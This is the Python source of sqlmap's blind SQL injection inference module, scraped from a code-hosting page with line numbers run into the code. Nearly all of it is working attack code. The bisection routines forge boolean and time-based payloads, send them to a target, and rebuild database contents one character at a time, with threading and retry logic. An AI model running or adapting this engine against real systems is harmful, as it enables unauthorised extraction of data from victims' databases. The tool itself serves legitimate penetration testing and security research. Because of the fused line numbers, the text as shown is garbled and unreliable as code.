Path: blob/master/lib/techniques/blind/inference.py
3553 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67from __future__ import division89import re10import time1112from lib.core.agent import agent13from lib.core.common import Backend14from lib.core.common import calculateDeltaSeconds15from lib.core.common import dataToStdout16from lib.core.common import decodeDbmsHexValue17from lib.core.common import decodeIntToUnicode18from lib.core.common import filterControlChars19from lib.core.common import getCharset20from lib.core.common import getCounter21from lib.core.common import getPartRun22from lib.core.common import getTechnique23from lib.core.common import getTechniqueData24from lib.core.common import goGoodSamaritan25from lib.core.common import hashDBRetrieve26from lib.core.common import hashDBWrite27from lib.core.common import incrementCounter28from lib.core.common import isDigit29from lib.core.common import isListLike30from lib.core.common import safeStringFormat31from lib.core.common import singleTimeWarnMessage32from lib.core.data import conf33from lib.core.data import kb34from lib.core.data import logger35from lib.core.data import queries36from lib.core.enums import ADJUST_TIME_DELAY37from lib.core.enums import CHARSET_TYPE38from lib.core.enums import DBMS39from lib.core.enums import PAYLOAD40from lib.core.exception import SqlmapThreadException41from lib.core.exception import SqlmapUnsupportedFeatureException42from lib.core.settings import CHAR_INFERENCE_MARK43from lib.core.settings import INFERENCE_BLANK_BREAK44from lib.core.settings import INFERENCE_EQUALS_CHAR45from lib.core.settings import INFERENCE_GREATER_CHAR46from lib.core.settings import INFERENCE_MARKER47from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR48from lib.core.settings import INFERENCE_UNKNOWN_CHAR49from lib.core.settings import MAX_BISECTION_LENGTH50from lib.core.settings import MAX_REVALIDATION_STEPS51from lib.core.settings import NULL52from lib.core.settings import PARTIAL_HEX_VALUE_MARKER53from lib.core.settings import PARTIAL_VALUE_MARKER54from lib.core.settings import PAYLOAD_DELIMITER55from lib.core.settings import RANDOM_INTEGER_MARKER56from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD57from lib.core.threads import getCurrentThreadData58from lib.core.threads import runThreads59from lib.core.unescaper import unescaper60from lib.request.connect import Connect as Request61from lib.utils.progress import ProgressBar62from lib.utils.safe2bin import safecharencode63from lib.utils.xrange import xrange64from thirdparty import six6566def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):67"""68Bisection algorithm that can be used to perform blind SQL injection69on an affected host70"""7172abortedFlag = False73showEta = False74partialValue = u""75finalValue = None76retrievedLength = 07778if payload is None:79return 0, None8081if charsetType is None and conf.charset:82asciiTbl = sorted(set(ord(_) for _ in conf.charset))83else:84asciiTbl = getCharset(charsetType)8586threadData = getCurrentThreadData()87timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))88retVal = hashDBRetrieve(expression, checkConf=True)8990if retVal:91if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:92pass93elif PARTIAL_HEX_VALUE_MARKER in retVal:94retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")9596if retVal and conf.hexConvert:97partialValue = retVal98infoMsg = "resuming partial value: %s" % safecharencode(partialValue)99logger.info(infoMsg)100elif PARTIAL_VALUE_MARKER in retVal:101retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")102103if retVal and not conf.hexConvert:104partialValue = retVal105infoMsg = "resuming partial value: %s" % safecharencode(partialValue)106logger.info(infoMsg)107else:108infoMsg = "resumed: %s" % safecharencode(retVal)109logger.info(infoMsg)110111return 0, retVal112113if Backend.isDbms(DBMS.MCKOI):114match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)115if match:116original = queries[Backend.getIdentifiedDbms()].inference.query117right = original.split('<')[1]118payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))119expression = match.group(1).strip()120121elif Backend.isDbms(DBMS.FRONTBASE):122match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)123if match:124payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))125payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)126expression = match.group(2).strip()127128try:129# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API130if conf.predictOutput:131kb.partRun = getPartRun()132elif conf.api:133kb.partRun = getPartRun(alias=False)134else:135kb.partRun = None136137if partialValue:138firstChar = len(partialValue)139elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):140firstChar = 0141elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):142firstChar = int(conf.firstChar) - 1143if kb.fileReadMode:144firstChar <<= 1145elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int):146firstChar = int(firstChar) - 1147else:148firstChar = 0149150if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):151lastChar = 0152elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):153lastChar = int(conf.lastChar)154elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):155lastChar = int(lastChar)156else:157lastChar = 0158159if Backend.getDbms():160_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)161nulledCastedField = agent.nullAndCastField(fieldToCastStr)162expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)163expressionUnescaped = unescaper.escape(expressionReplaced)164else:165expressionUnescaped = unescaper.escape(expression)166167if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):168length = int(length)169else:170length = None171172if length == 0:173return 0, ""174175if length and (lastChar > 0 or firstChar > 0):176length = min(length, lastChar or length) - firstChar177178if length and length > MAX_BISECTION_LENGTH:179length = None180181showEta = conf.eta and isinstance(length, int)182183if kb.bruteMode:184numThreads = 1185else:186numThreads = min(conf.threads or 0, length or 0) or 1187188if showEta:189progress = ProgressBar(maxValue=length)190191if numThreads > 1:192if not timeBasedCompare or kb.forceThreads:193debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))194logger.debug(debugMsg)195else:196numThreads = 1197198if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):199warnMsg = "running in a single-thread mode. Please consider "200warnMsg += "usage of option '--threads' for faster data retrieval"201singleTimeWarnMessage(warnMsg)202203if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):204if isinstance(length, int) and numThreads > 1:205dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))206dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))207else:208dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))209210def tryHint(idx):211with kb.locks.hint:212hintValue = kb.hintValue213214if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:215if "'%s'" % CHAR_INFERENCE_MARK in payload:216posValue = hintValue[idx - 1]217else:218posValue = ord(hintValue[idx - 1])219220markingValue = "'%s'" % CHAR_INFERENCE_MARK221unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))222forgedPayload = agent.extractPayload(payload) or ""223forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue)224forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))225result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)226incrementCounter(getTechnique())227228if result:229return hintValue[idx - 1]230231with kb.locks.hint:232kb.hintValue = ""233234return None235236def validateChar(idx, value):237"""238Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay239"""240241threadData = getCurrentThreadData()242243validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)244245if "'%s'" % CHAR_INFERENCE_MARK not in payload:246forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))247else:248# e.g.: ... > '%c' -> ... > ORD(..)249markingValue = "'%s'" % CHAR_INFERENCE_MARK250unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))251forgedPayload = validationPayload.replace(markingValue, unescapedCharValue)252forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx))253254result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)255256if result and timeBasedCompare and getTechniqueData().trueCode:257result = threadData.lastCode == getTechniqueData().trueCode258if not result:259warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)260singleTimeWarnMessage(warnMsg)261262incrementCounter(getTechnique())263264return result265266def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):267"""268continuousOrder means that distance between each two neighbour's269numerical values is exactly 1270"""271272threadData = getCurrentThreadData()273274result = tryHint(idx)275276if result:277return result278279if charTbl is None:280charTbl = type(asciiTbl)(asciiTbl)281282originalTbl = type(charTbl)(charTbl)283284if kb.disableShiftTable:285shiftTable = None286elif continuousOrder and shiftTable is None:287# Used for gradual expanding into unicode charspace288shiftTable = [2, 2, 3, 3, 3]289290if "'%s'" % CHAR_INFERENCE_MARK in payload:291for char in ('\n', '\r'):292if ord(char) in charTbl:293if not isinstance(charTbl, list):294charTbl = list(charTbl)295charTbl.remove(ord(char))296297if not charTbl:298return None299300elif len(charTbl) == 1:301forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))302result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)303incrementCounter(getTechnique())304305if result:306return decodeIntToUnicode(charTbl[0])307else:308return None309310maxChar = maxValue = charTbl[-1]311minValue = charTbl[0]312firstCheck = False313lastCheck = False314unexpectedCode = False315316if continuousOrder:317while len(charTbl) > 1:318position = None319320if charsetType is None:321if not firstCheck:322try:323try:324lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]325except IndexError:326lastChar = None327else:328if 'a' <= lastChar <= 'z':329position = charTbl.index(ord('a') - 1) # 96330elif 'A' <= lastChar <= 'Z':331position = charTbl.index(ord('A') - 1) # 64332elif '0' <= lastChar <= '9':333position = charTbl.index(ord('0') - 1) # 47334except ValueError:335pass336finally:337firstCheck = True338339elif not lastCheck and numThreads == 1: # not usable in multi-threading environment340if charTbl[(len(charTbl) >> 1)] < ord(' '):341try:342# favorize last char check if current value inclines toward 0343position = charTbl.index(1)344except ValueError:345pass346finally:347lastCheck = True348349if position is None:350position = (len(charTbl) >> 1)351352posValue = charTbl[position]353falsePayload = None354355if "'%s'" % CHAR_INFERENCE_MARK not in payload:356forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))357falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))358else:359# e.g.: ... > '%c' -> ... > ORD(..)360markingValue = "'%s'" % CHAR_INFERENCE_MARK361unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))362forgedPayload = payload.replace(markingValue, unescapedCharValue)363forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx))364falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)365366if timeBasedCompare:367if kb.responseTimeMode:368kb.responseTimePayload = falsePayload369else:370kb.responseTimePayload = None371372result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)373374incrementCounter(getTechnique())375376if not timeBasedCompare and getTechniqueData() is not None:377unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)378if unexpectedCode:379if threadData.lastCode is not None:380warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode381else:382warnMsg = "unexpected response detected."383384warnMsg += " Will use (extra) validation step in similar cases"385386singleTimeWarnMessage(warnMsg)387388if result:389minValue = posValue390391if not isinstance(charTbl, xrange):392charTbl = charTbl[position:]393else:394# xrange() - extended virtual charset used for memory/space optimization395charTbl = xrange(charTbl[position], charTbl[-1] + 1)396else:397maxValue = posValue398399if not isinstance(charTbl, xrange):400charTbl = charTbl[:position]401else:402charTbl = xrange(charTbl[0], charTbl[position])403404if len(charTbl) == 1:405if maxValue == 1:406return None407408# Going beyond the original charset409elif minValue == maxChar:410# If the original charTbl was [0,..,127] new one411# will be [128,..,(128 << 4) - 1] or from 128 to 2047412# and instead of making a HUGE list with all the413# elements we use a xrange, which is a virtual414# list415if expand and shiftTable:416charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())417originalTbl = xrange(charTbl[0], charTbl[-1] + 1)418maxChar = maxValue = charTbl[-1]419minValue = charTbl[0]420else:421kb.disableShiftTable = True422return None423else:424retVal = minValue + 1425426if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):427if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):428if not kb.originalTimeDelay:429kb.originalTimeDelay = conf.timeSec430431threadData.validationRun = 0432if (retried or 0) < MAX_REVALIDATION_STEPS:433errMsg = "invalid character detected. retrying.."434logger.error(errMsg)435436if timeBasedCompare:437if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:438conf.timeSec += 1439warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')440logger.warning(warnMsg)441442if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:443dbgMsg = "turning off time auto-adjustment mechanism"444logger.debug(dbgMsg)445kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO446447return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)448else:449errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)450logger.error(errMsg)451conf.timeSec = kb.originalTimeDelay452return decodeIntToUnicode(retVal)453else:454if timeBasedCompare:455threadData.validationRun += 1456if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:457dbgMsg = "turning back on time auto-adjustment mechanism"458logger.debug(dbgMsg)459kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES460461return decodeIntToUnicode(retVal)462else:463return None464else:465if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:466errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()467raise SqlmapUnsupportedFeatureException(errMsg)468469candidates = list(originalTbl)470bit = 0471while len(candidates) > 1:472bits = {}473maxCandidate = max(candidates)474maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1475476for candidate in candidates:477for bit in xrange(maxBits):478bits.setdefault(bit, 0)479if candidate & (1 << bit):480bits[bit] += 1481else:482bits[bit] -= 1483484choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]485mask = 1 << choice486487forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))488result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)489incrementCounter(getTechnique())490491if result:492candidates = [_ for _ in candidates if _ & mask > 0]493else:494candidates = [_ for _ in candidates if _ & mask == 0]495496bit += 1497498if candidates:499forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))500result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)501incrementCounter(getTechnique())502503if result:504if candidates[0] == 0: # Trailing zeros505return None506else:507return decodeIntToUnicode(candidates[0])508509# Go multi-threading (--threads > 1)510if numThreads > 1 and isinstance(length, int) and length > 1:511threadData.shared.value = [None] * length512threadData.shared.index = [firstChar] # As list for python nested function scoping513threadData.shared.start = firstChar514515try:516def blindThread():517threadData = getCurrentThreadData()518519while kb.threadContinue:520with kb.locks.index:521if threadData.shared.index[0] - firstChar >= length:522return523524threadData.shared.index[0] += 1525currentCharIndex = threadData.shared.index[0]526527if kb.threadContinue:528val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset))529if val is None:530val = INFERENCE_UNKNOWN_CHAR531else:532break533534# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629535if not isListLike(threadData.shared.value):536break537538with kb.locks.value:539threadData.shared.value[currentCharIndex - 1 - firstChar] = val540currentValue = list(threadData.shared.value)541542if kb.threadContinue:543if showEta:544progress.progress(threadData.shared.index[0])545elif conf.verbose >= 1:546startCharIndex = 0547endCharIndex = 0548549for i in xrange(length):550if currentValue[i] is not None:551endCharIndex = max(endCharIndex, i)552553output = ''554555if endCharIndex > conf.progressWidth:556startCharIndex = endCharIndex - conf.progressWidth557558count = threadData.shared.start559560for i in xrange(startCharIndex, endCharIndex + 1):561output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')562563for i in xrange(length):564count += 1 if currentValue[i] is not None else 0565566if startCharIndex > 0:567output = ".." + output[2:]568569if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):570output = output[:-2] + ".."571572if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):573_ = count - firstChar574output += '_' * (min(length, conf.progressWidth) - len(output))575status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))576output += status if _ != length else " " * len(status)577578dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))579580runThreads(numThreads, blindThread, startThreadMsg=False)581582except KeyboardInterrupt:583abortedFlag = True584585finally:586value = [_ for _ in partialValue]587value.extend(_ for _ in threadData.shared.value)588589infoMsg = None590591# If we have got one single character not correctly fetched it592# can mean that the connection to the target URL was lost593if None in value:594partialValue = "".join(value[:value.index(None)])595596if partialValue:597infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))598else:599finalValue = "".join(value)600infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))601602if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):603dataToStdout(infoMsg)604605# No multi-threading (--threads = 1)606else:607index = firstChar608threadData.shared.value = ""609610while True:611index += 1612613# Common prediction feature (a.k.a. "good samaritan")614# NOTE: to be used only when multi-threading is not set for615# the moment616if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:617val = None618commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)619620# If there is one single output in common-outputs, check621# it via equal against the query output622if commonValue is not None:623# One-shot query containing equals commonValue624testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)625626query = getTechniqueData().vector627query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))628query = agent.suffixQuery(query)629630result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)631incrementCounter(getTechnique())632633# Did we have luck?634if result:635if showEta:636progress.progress(len(commonValue))637elif conf.verbose in (1, 2) or conf.api:638dataToStdout(filterControlChars(commonValue[index - 1:]))639640finalValue = commonValue641break642643# If there is a common pattern starting with partialValue,644# check it via equal against the substring-query output645if commonPattern is not None:646# Substring-query containing equals commonPattern647subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))648testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)649650query = getTechniqueData().vector651query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))652query = agent.suffixQuery(query)653654result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)655incrementCounter(getTechnique())656657# Did we have luck?658if result:659val = commonPattern[index - 1:]660index += len(val) - 1661662# Otherwise if there is no commonValue (single match from663# txt/common-outputs.txt) and no commonPattern664# (common pattern) use the returned common charset only665# to retrieve the query output666if not val and commonCharset:667val = getChar(index, commonCharset, False)668669# If we had no luck with commonValue and common charset,670# use the returned other charset671if not val:672val = getChar(index, otherCharset, otherCharset == asciiTbl)673else:674val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))675676if val is None:677finalValue = partialValue678break679680if kb.data.processChar:681val = kb.data.processChar(val)682683threadData.shared.value = partialValue = partialValue + val684685if showEta:686progress.progress(index)687elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:688dataToStdout(filterControlChars(val))689690# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces691if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():692finalValue = partialValue[:-INFERENCE_BLANK_BREAK]693break694elif charsetType and partialValue[-1:].isspace():695finalValue = partialValue[:-1]696break697698if (lastChar > 0 and index >= lastChar):699finalValue = "" if length == 0 else partialValue700finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue701partialValue = None702break703704except KeyboardInterrupt:705abortedFlag = True706finally:707kb.prependFlag = False708retrievedLength = len(finalValue or "")709710if finalValue is not None:711finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue712hashDBWrite(expression, finalValue)713elif partialValue:714hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))715716if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):717infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)718dataToStdout(infoMsg)719else:720if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):721dataToStdout("\n")722723if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:724infoMsg = "retrieved: %s" % filterControlChars(finalValue)725logger.info(infoMsg)726727if kb.threadException:728raise SqlmapThreadException("something unexpected happened inside the threads")729730if abortedFlag:731raise KeyboardInterrupt732733_ = finalValue or partialValue734735return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _736737def queryOutputLength(expression, payload):738"""739Returns the query output length.740"""741742infoMsg = "retrieving the length of query output"743logger.info(infoMsg)744745start = time.time()746747lengthExprUnescaped = agent.forgeQueryOutputLength(expression)748count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)749750debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))751logger.debug(debugMsg)752753if isinstance(length, six.string_types) and length.isspace():754length = 0755756return length757758759